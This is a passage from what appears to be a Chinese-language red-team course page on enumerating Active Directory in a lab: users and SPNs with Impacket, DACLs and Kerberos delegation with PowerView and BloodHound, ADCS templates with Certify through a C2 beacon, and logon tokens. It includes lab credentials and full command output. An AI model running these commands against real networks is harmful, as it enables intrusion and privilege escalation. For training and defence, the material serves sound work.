|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
INFO: Getting TGT for user
|DNS-request| prod.raven-med.local 
|S-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<><>-OK
|DNS-response|: prod.raven-med.local does not exist
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (prod.raven-med.local:88)] [Errno 1] Unknown error
INFO: Connecting to LDAP server: dc01.prod.raven-med.local
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:389-<><>-OK
INFO: Found 1 domains
INFO: Found 2 domains in the forest
INFO: Found 4 computers
INFO: Connecting to LDAP server: dc01.prod.raven-med.local
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:389-<><>-OK
INFO: Connecting to GC LDAP server: dc01.prod.raven-med.local
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:3268-<><>-OK
INFO: Found 15 users
INFO: Found 48 groups
INFO: Found 5 gpos
INFO: Found 6 ous
INFO: Found 19 containers
INFO: Found 1 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: web01.prod.raven-med.local
............
INFO: Done in 01M 56S

```

<div class="J0lOec" id="bkmrk--26"></div>[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/0WAty5SLBM4Gra5u-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/0WAty5SLBM4Gra5u-image.png)

<div class="J0lOec" id="bkmrk-%E4%BD%BF%E7%94%A8%E4%B9%8B%E5%90%8E%EF%BC%8C%E4%BC%9A%E8%BE%93%E5%87%BA-json-%E6%96%87%E4%BB%B6%EF%BC%8C%E6%88%91%E4%BB%AC%E5%90%8C"><span class="VIiyi" lang="zh-CN"><span class="JLqJ4b" data-language-for-alternatives="zh-CN" data-language-to-translate-into="en" data-number-of-phrases="1" data-phrase-index="0"><span class="Q4iAWc">使用之后，会输出 json 文件，我们同样可以上传给 BloodHound。</span></span></span></div><div class="J0lOec" id="bkmrk--28"></div>#### **Impacket**

Impacket ([https://github.com/fortra/impacket](https://github.com/fortra/impacket)) 是一套可以对 AD 进行网络协议交互的工具，可用于枚举与利用，十分强劲。目前，我们只专注于枚举。

例如，我们可以使用 GetADUser.py 枚举域内用户

```shell
root@ts:/opt/framework/impacket/examples# proxychains python3 GetADUsers.py  -all prod.raven-med.local/alice:elizabeth  -dc-ip 172.16.1.11
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:389-<><>-OK
[*] Querying 172.16.1.11 for information about domain.
Name                  Email                           PasswordLastSet      LastLogon           
--------------------  ------------------------------  -------------------  -------------------
Administrator                                         2023-01-20 18:38:16.572334  2023-03-30 19:53:43.462751 
Guest                                                 <never>              <never>             
krbtgt                                                2023-01-21 03:14:17.129622  <never>             
                                                      2023-03-28 02:21:44.373836  <never>             
sql_service                                           2023-01-28 19:35:17.958491  2023-03-28 03:04:56.416162 
app_security                                          2023-01-28 20:00:19.880249  <never>             
network_security                                      2023-01-28 20:00:30.270846  <never>             
alice                                                 2023-01-28 20:03:12.536442  2023-03-31 03:58:54.462135 
harold                                                2023-01-28 20:33:54.612025  <never>             
backup_operator                                       2023-01-28 21:53:00.350035  <never>             
john                                                  2023-01-29 01:02:53.942678  2023-03-28 02:06:57.796057 
newman                                                2023-02-14 04:21:09.365594  <never>             
jim                                                   2023-02-14 04:21:23.271692  <never>             
carl                                                  2023-02-14 04:21:51.818645  <never>             
fusco                                                 2023-02-14 04:22:23.256115  2023-03-30 19:58:17.243954 

```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/DuJuR5l7ZP9LjbFw-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/DuJuR5l7ZP9LjbFw-image.png)

使用 GetUserSPNs 来获取所有设置了 SPN 的用户

```shell
root@ts:/opt/framework/impacket/examples# proxychains python3 GetUserSPNs.py prod.raven-med.local/alice:elizabeth  -dc-ip 172.16.1.11
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:389-<><>-OK
ServicePrincipalName                       Name         MemberOf  PasswordLastSet             LastLogon                   Delegation 
-----------------------------------------  -----------  --------  --------------------------  --------------------------  ----------
MSSQLSvc/srv01.prod.raven-med.local:SQL01  sql_service            2023-01-28 19:35:17.958491  2023-03-28 03:04:56.416162             
MSSQLSvc/srv01.prod.raven-med.local:1433   sql_service            2023-01-28 19:35:17.958491  2023-03-28 03:04:56.416162  
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/DghWSd1rSqc0P8NE-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/DghWSd1rSqc0P8NE-image.png)

####   


#### **CrackMapExec**

CrackMapExec ([https://github.com/Porchetta-Industries/CrackMapExec](https://github.com/Porchetta-Industries/CrackMapExec)) 如今发展成了一款类似于 Impacket 的多功能 AD 枚举与利用瑞士军刀。请学员们自行下载、安装与探索。

# DACL

DACL 揭露了域内对象与对象之间的权限关系，可以是用户对用户的，用户对主机的，主机对主机的，诸如此类。例如，用户 John 对用户 app\_security 具有 **GenericWrite** 的权限，那么 **John** 可以为其设置一个 SPN。DACL 无疑是域内最值得我们关注的利用之一。

对于 DACL 的枚举，最直观的就是使用 SharpHound 进行信息搜集然后使用 **BloodHound** 进行查看，虽然 BloodHound 有的时候也会遗漏一些 DACL。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/0iYH4OBNgkeFRTt0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/0iYH4OBNgkeFRTt0-image.png)

除此之外，我们也可以组合 PowerView中的命令，查看某个用户的DACL，以及我们当前用户对其他用户的DACL：

### **枚举特定用户的DACL**

指定目标用户，可以看到其他域对象作用于其的 DACL (对该用户具有 DACL 的对象以及权限)

```powershell
Get-ObjectAcl -Identity <用户名> -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Select Identity,AceType,ObjectCN,ActiveDirectorys | findstr '\'
```

我们可以看到，用户 john 对 app\_security 具有 **WriteProperty** 权限。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/818f1STqhyteWymw-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/818f1STqhyteWymw-image.png)

###  

### **枚举当前用户对其他用户的权限**

登陆为 **network\_security**，并使用如下命令 (无须修改)，我们发现 **network\_security** 对用户 **backup\_operato**r 具有 **GenericAll** 权限。

```powershell
Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}} | Select Identity,AceType,ActiveDirectoryRights,ObjectDN
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/LbcHR4Xu6cDIDu5u-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/LbcHR4Xu6cDIDu5u-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/RjdiDINCQqYhNuhJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/RjdiDINCQqYhNuhJ-image.png)

# Kerberos 委派

Kerberos 委派是什么，以及怎么利用，也许你们现在会感到有些困惑，这不要紧，因为我们目前只是在枚举阶段，但是我们需要知道 Kerberos 委派对于我们的利用是很关键的，因此对其进行枚举是前期就需要完成的事情。

从结果出发，委派可以让我们在其他主机上执行远程命令，从而接管这些主机。但我们也需要注意，有些用户是不允许被委派的，比如域管理员，因为他们具有很高的权限。

WHITE-BIRD 中的 Administrator 就不可被委派。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/GMaSHnU1vOm0mcf2-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/GMaSHnU1vOm0mcf2-image.png)

我们需要枚举的委派有 3 类：

### **非约束委派**

非约束委派无疑是最强大的，因为对非约束委派的成功利用往往可能导致对整个域乃至森林的接管。

```powershell
Get-NetComputer -Unconstrained | select dnshostname
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/QndhMQfG8nt2fFza-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/QndhMQfG8nt2fFza-image.png)

当前域中，只有 DC 是被设置了非约束委派的。域控制器总是会被设置非约束委派，但这对于我们并没有帮助。而在 RAVEN-MED 中，我们发现了 mon01 是被设置了非约束委派的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/F9imO1a3Z7S3RbZ9-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/F9imO1a3Z7S3RbZ9-image.png)

我们在 BloodHound 中，可以用内置的语句查询所有到达被设置了非约束委派主机的路径。图像比较凌乱，但我们可以看到有 4 台 主机被设置了非约束委派。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/KQmfNo0uMDy2njNY-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/KQmfNo0uMDy2njNY-image.png)

###   


### **约束委派**

通常，我们可以通过利用约束委派横向移动到至少 1 台其他主机上，这取决于被设置约束委派的主机/服务帐号可以委派多少主机与服务。不仅主机可以被设置约束委派，服务帐号也可以。

```powershell
Get-NetComputer -TrustedToAuth

Get-NetUser -TrustedToAuth
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/OHDlVu7vYBRxFaT9-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/OHDlVu7vYBRxFaT9-image.png)

我们发现 **Web02** 被设置了约束委派。

此外，**med-factory.local** 域中的 **deleg\_exer** 服务帐号也被设置了约束委派。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/y6oZlmP5ELmw1mdn-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/y6oZlmP5ELmw1mdn-image.png)

### **基于资源的约束委派 （RBCD）**

如果被我们控制的主机或服务账号对其他主机具有 **GenericWrite** 以及更高 (例如**GenericAll**) 的权限，我们最终可以通过利用 **S4U** 横向移动到其他主机上。

至于枚举的话，通过查看 BloodHound的 显示更为直观。或者使用脚本 adPEAS 协助我们发现可利用的RBCD。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/9SsETSWRsAB9tzaZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/9SsETSWRsAB9tzaZ-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/vBuShfSD4TPer8a2-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/vBuShfSD4TPer8a2-image.png)

实际上 File01 对 Dc01 具有 GenericAll 权限，因此可以用于利用 RBCD

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/HygPGsLFtLCK2zGM-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/HygPGsLFtLCK2zGM-image.png)

# ADCS

ADCS 的利用，是这几年里较新的利用手段。因此，我们也需要对 ADCS 进行枚举。ADCS（Active Directory 证书服务）是 Microsoft 的 PKI 实现，可与现有的 Active Directory 森林集成，从而实现数字证书的创建和管理。这些证书具有多种功能，如对用户进行身份验证，对文件和通信进行加密，提供数字签名以及验证电子文档。ADCS 使管理员能够建立并监督他们的证书颁发机构（CA），以向组织内的用户、计算机和其他资源颁发数字证书。与使用外部证书提供商相比，这种方法被认为更安全、更高效。

然而，同其他技术一样，不当的配置会引入可被利用的风险因素。在 ADCS 的上下文中，可以导致特权提升 (普通域用户甚至可以提升至域管理员) 以及持久化。我们可以使用工具 Certify ([https://github.com/GhostPack/Certify](https://github.com/GhostPack/Certify)) 来枚举域内的ADCS。

### **枚举CA**

我们可以用 certify.exe 以及 cas 选项来枚举域内的 CA。

```
certify.exe cas
```

而在 Linux 操作系统中，我们可以通过 **pip3 install certipy-ad** 命令来安装 Certify Linux 版 Certipy。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/Nurw1qRbxl0OqDTI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/Nurw1qRbxl0OqDTI-image.png)

不过，white-bird 域中并没有 ADCS 服务，因此也没有 CA 的存在。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/4Tc5PbN09hBay45h-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/4Tc5PbN09hBay45h-image.png)

对于 PROD 以及 RAVEN-MED 也一样。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/MHh5EfTl7OLtDqIQ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/MHh5EfTl7OLtDqIQ-image.png)

实际上，med-factory 域中存在 ADCS 服务。我们发现，**172.16.1.32** 这台内部主机，即 **Cert01** 开放了 **80** 端口，是个 HTTP 服务。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/SvUzzamN1Uaok7Zw-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/SvUzzamN1Uaok7Zw-image.png)

当我们访问终端 certsrv，发现需要验证，虽然我们还没有有效的凭证，但是这证明了 Med-factory 确实存在着 ADCS 服务，而 **Cert01** 提供了 ADCS 的 Web 终端。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/DelpHVPbASI8YYkX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/DelpHVPbASI8YYkX-image.png)

RAVEN-MED 森林被 Med-factory 信任，因此我们需要一个有效的 RAVEN-MED 森林中的帐号来跨域枚举 Med-factory 的 ADCS 信息，PROD 域中的 Alice 的凭证可以被我们所用。

我们以 Alice 身份跨域对 med-factory.local 域的 CA 进行枚举

```shell
beacon> execute-assembly certify.exe cas /domain:med-factory.local
[*] Tasked beacon to run .NET program: certify.exe cas /domain:med-factory.local
[+] host called home, sent: 279141 bytes
[+] received output:

   _____          _   _  __              
  / ____|        | | (_)/ _|             
 | |     ___ _ __| |_ _| |_ _   _        
 | |    / _ \ '__| __| |  _| | | |      
 | |___|  __/ |  | |_| | | | |_| |       
  \_____\___|_|   \__|_|_|  \__, |   
                             __/ |       
                            |___./        
  v1.0.0                               


[+] received output:
[*] Action: Find certificate authorities
[*] Using the search base 'CN=Configuration,DC=med-factory,DC=local'


[*] Root CAs


[+] received output:
    Cert SubjectName              : CN=med-factory-CERT01-CA, DC=med-factory, DC=local
    Cert Thumbprint               : E68CB2ADB9E53C169D1D6740D3F96E064AD62B0E
    Cert Serial                   : 41D46C07284C818C44EDFA659A7148BD
    Cert Start Date               : 1/20/2023 8:45:25 PM
    Cert End Date                 : 1/20/2028 8:55:25 PM
    Cert Chain                    : CN=med-factory-CERT01-CA,DC=med-factory,DC=local



[*] NTAuthCertificates - Certificates that enable authentication:

    Cert SubjectName              : CN=med-factory-CERT01-CA, DC=med-factory, DC=local
    Cert Thumbprint               : E68CB2ADB9E53C169D1D6740D3F96E064AD62B0E
    Cert Serial                   : 41D46C07284C818C44EDFA659A7148BD
    Cert Start Date               : 1/20/2023 8:45:25 PM
    Cert End Date                 : 1/20/2028 8:55:25 PM
    Cert Chain                    : CN=med-factory-CERT01-CA,DC=med-factory,DC=local


[*] Enterprise/Enrollment CAs:

    Enterprise CA Name            : med-factory-CERT01-CA
    DNS Hostname                  : cert01.med-factory.local
    FullName                      : cert01.med-factory.local\med-factory-CERT01-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=med-factory-CERT01-CA, DC=med-factory, DC=local
    Cert Thumbprint               : E68CB2ADB9E53C169D1D6740D3F96E064AD62B0E
    Cert Serial                   : 41D46C07284C818C44EDFA659A7148BD
    Cert Start Date               : 1/20/2023 8:45:25 PM
    Cert End Date                 : 1/20/2028 8:55:25 PM
    Cert Chain                    : CN=med-factory-CERT01-CA,DC=med-factory,DC=local
    UserSpecifiedSAN              : Could not connect to the HKLM hive - The network path was not found.

    CA Permissions                :
[X] Could not connect to the HKLM hive - The network path was not found.



[+] received output:
    Enabled Certificate Templates:
        ClientAuth
        DirectoryEmailReplication
        DomainControllerAuthentication
        KerberosAuthentication
        EFSRecovery
        EFS
        DomainController
        WebServer
        Machine
        User
        SubCA
        Administrator

```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/RpDa63rIglTpUiz0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/RpDa63rIglTpUiz0-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/Eem1Tmf07m8aBudw-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/Eem1Tmf07m8aBudw-image.png)

从输出中，我们可以看到 CA 信息以及可用的证书模板。

### **枚举脆弱的证书模板**

证书模板是预定义格式的证书，可用于创建具有指定属性的新证书。配置不当的证书模板可被用于域内提权，我们可以让 certify 帮我们自动寻找配置不当的证书，但 Certify 只会寻找全局脆弱的证书模版，即所有域用户都能利用的证书模板，而可能忽视特定用户可以利用的脆弱证书模板。

```powershell
certify.exe find /vulnerable
```

实际上，Vuln1 与 Vuln2 都是可被利用的脆弱证书模板，但 Certify 并没有发现。

```powershell
beacon> execute-assembly certify.exe find /vulnerable /domain:med-factory.local
[*] Tasked beacon to run .NET program: certify.exe find /vulnerable /domain:med-factory.local
[+] host called home, sent: 279167 bytes
[+] received output:

   _____          _   _  __              
  / ____|        | | (_)/ _|             
 | |     ___ _ __| |_ _| |_ _   _        
 | |    / _ \ '__| __| |  _| | | |      
 | |___|  __/ |  | |_| | | | |_| |       
  \_____\___|_|   \__|_|_|  \__, |   
                             __/ |       
                            |___./        
  v1.0.0                               

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=med-factory,DC=local'

[*] Listing info about the Enterprise CA 'med-factory-CERT01-CA'

    Enterprise CA Name            : med-factory-CERT01-CA
    DNS Hostname                  : cert01.med-factory.local
    FullName                      : cert01.med-factory.local\med-factory-CERT01-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=med-factory-CERT01-CA, DC=med-factory, DC=local
    Cert Thumbprint               : E68CB2ADB9E53C169D1D6740D3F96E064AD62B0E
    Cert Serial                   : 41D46C07284C818C44EDFA659A7148BD
    Cert Start Date               : 1/20/2023 8:45:25 PM
    Cert End Date                 : 1/20/2028 8:55:25 PM
    Cert Chain                    : CN=med-factory-CERT01-CA,DC=med-factory,DC=local

[+] received output:
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
      Allow  ManageCA, ManageCertificates               <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
    Enrollment Agent Restrictions : None

[+] received output:

[!] Vulnerable certificate templates that exist but an Enterprise CA does not publish:

    Vuln1


[+] No Vulnerable Certificates Templates found!
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/nuxfJma67zOjRQxo-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/nuxfJma67zOjRQxo-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/yPAvOHLnUjuSLUyA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/yPAvOHLnUjuSLUyA-image.png)

对于读不懂的 SID 值，我们可以将其转换为名称

```powershell
Convert-sidtoName <SID>
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/YREoihCQoC16zB1m-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/YREoihCQoC16zB1m-image.png)

### **枚举允许客户认证的模板**

我们可以寻找允许客户认证的模板，即申请了证书之后可以用于提供身份认证，就像有了凭证一样。不仅可以用于模仿其他用户，还可以实现持久化。

```powershell
certify.exe find /clientauth /ca: [ca] 
```

有多个证书模板允许客户认证，但列举的依旧并不完整。

```
beacon> execute-assembly certify.exe find /clientauth /domain:med-factory.local
[*] Tasked beacon to run .NET program: certify.exe find /clientauth /domain:med-factory.local
[+] host called home, sent: 279167 bytes
[+] received output:

   _____          _   _  __              
  / ____|        | | (_)/ _|             
 | |     ___ _ __| |_ _| |_ _   _        
 | |    / _ \ '__| __| |  _| | | |      
 | |___|  __/ |  | |_| | | | |_| |       
  \_____\___|_|   \__|_|_|  \__, |   
                             __/ |       
                            |___./        
  v1.0.0                               

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=med-factory,DC=local'

[*] Listing info about the Enterprise CA 'med-factory-CERT01-CA'

    Enterprise CA Name            : med-factory-CERT01-CA
    DNS Hostname                  : cert01.med-factory.local
    FullName                      : cert01.med-factory.local\med-factory-CERT01-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=med-factory-CERT01-CA, DC=med-factory, DC=local
    Cert Thumbprint               : E68CB2ADB9E53C169D1D6740D3F96E064AD62B0E
    Cert Serial                   : 41D46C07284C818C44EDFA659A7148BD
    Cert Start Date               : 1/20/2023 8:45:25 PM
    Cert End Date                 : 1/20/2028 8:55:25 PM
    Cert Chain                    : CN=med-factory-CERT01-CA,DC=med-factory,DC=local
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
      Allow  ManageCA, ManageCertificates               <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
    Enrollment Agent Restrictions : None
Enabled certificate templates capable of client authentication:

............

    CA Name                               : cert01.med-factory.local\med-factory-CERT01-CA
    Template Name                         : DomainControllerAuthentication
    Schema Version                        : 2
    Validity Period                       : 1 year
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : SUBJECT_ALT_REQUIRE_DNS
    mspki-enrollment-flag                 : AUTO_ENROLLMENT
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication, Server Authentication, Smart Card Logon
    mspki-certificate-application-policy  : Client Authentication, Server Authentication, Smart Card Logon
    Permissions
      Enrollment Permissions
        Enrollment Rights           : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-498
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-516
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
                                      NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9
        AutoEnrollment Rights       : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-498
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-516
                                      NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9
      Object Control Permissions
        Owner                       : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
        WriteOwner Principals       : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
        WriteDacl Principals        : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
        WriteProperty Principals    : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519

    CA Name                               : cert01.med-factory.local\med-factory-CERT01-CA
    Template Name                         : KerberosAuthentication
    Schema Version                        : 2
    Validity Period                       : 1 year
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : SUBJECT_ALT_REQUIRE_DOMAIN_DNS, SUBJECT_ALT_REQUIRE_DNS
    mspki-enrollment-flag                 : AUTO_ENROLLMENT
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication, KDC Authentication, Server Authentication, Smart Card Logon
    mspki-certificate-application-policy  : Client Authentication, KDC Authentication, Server Authentication, Smart Card Logon
    Permissions
      Enrollment Permissions
        Enrollment Rights           : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-498
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-516
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
                                      NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9
        AutoEnrollment Rights       : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-498
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-516
                                      NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9
      Object Control Permissions
        Owner                       : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
        WriteOwner Principals       : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
        WriteDacl Principals        : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
        WriteProperty Principals    : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519



Certify completed in 00:00:00.8096505

```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/8rpfNrcCrFyVmNVI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/8rpfNrcCrFyVmNVI-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/2UGEqGjPJgHf6bgG-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/2UGEqGjPJgHf6bgG-image.png)

###  

### **枚举ADCS网页终端**

对于开放了网页证书签发终端的 CA 服务器来说，其访问地址为 **http(s)://&lt;CA&gt;/certsrv**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/buzTH9ZmupDJqYER-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/buzTH9ZmupDJqYER-image.png)

# 用户会话与令牌

当我们在一台 Windows 域主机上获得了 **SYSTEM** 权限，我们可以模仿任何在本机登陆的域用户。如果模仿的对象在域内具有其他特权，我们可以利用此来移动到其他主机甚至域。

在 Windows 本机，我们可以有这些方式来查询

#### **进程的拥有者**

我们可以使用程序 **tasklist.exe** 来查询进程的拥有者：

```powershell
tasklist.exe /v
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/ZKN3JbpCHJQJm7cr-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/ZKN3JbpCHJQJm7cr-image.png)

或者 PowerShell 命令 **Get-Process -IncludeUserName**

```powershell
Get-Process -IncludeUserName
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/wd03LpDK5BlwUnBU-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/wd03LpDK5BlwUnBU-image.png)

可惜的是，就 **Web02** 上，并没有发现其他用户的进程，但在别的主机上，也许我们会有意外收获。我们不妨以 sql\_service 用户运行 cmd 程序，然后我们发现了其会话。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/u1Lx9p2mJTsyncqk-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/u1Lx9p2mJTsyncqk-image.png)

#### **会话查询**

我们可以通过命令 **query session** 来查询当前主机的会话，会话来源有交互式登陆、RDP登陆、服务执行。

```
query session
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/Q5gjMEX3MqUNFoYz-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/Q5gjMEX3MqUNFoYz-image.png)

我们依旧没有看到其他用户的会话。虽然我们以 sql\_service 身份运行了 cmd 程序，但并不属于三种来源之一。

#### **SharpToken**

我们可以使用工具 SharpToken ([https://github.com/BeichenDream/SharpToken](https://github.com/BeichenDream/SharpToken)) 来枚举当前主机所有可用的令牌，需要在 SYSTEM 权限下使用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/B9BvNYnFQQQj8On3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/B9BvNYnFQQQj8On3-image.png)

我们之前 runas 的 sql\_service 用户的令牌也能有显示

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/KouAxOBUYJQTdIuC-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/KouAxOBUYJQTdIuC-image.png)

### **BloodHound**

在 BloodHound 中，我们可以查看部分远程主机的 Sessions 信息，例如，我们从图中得知 file01 上有 John 的会话。

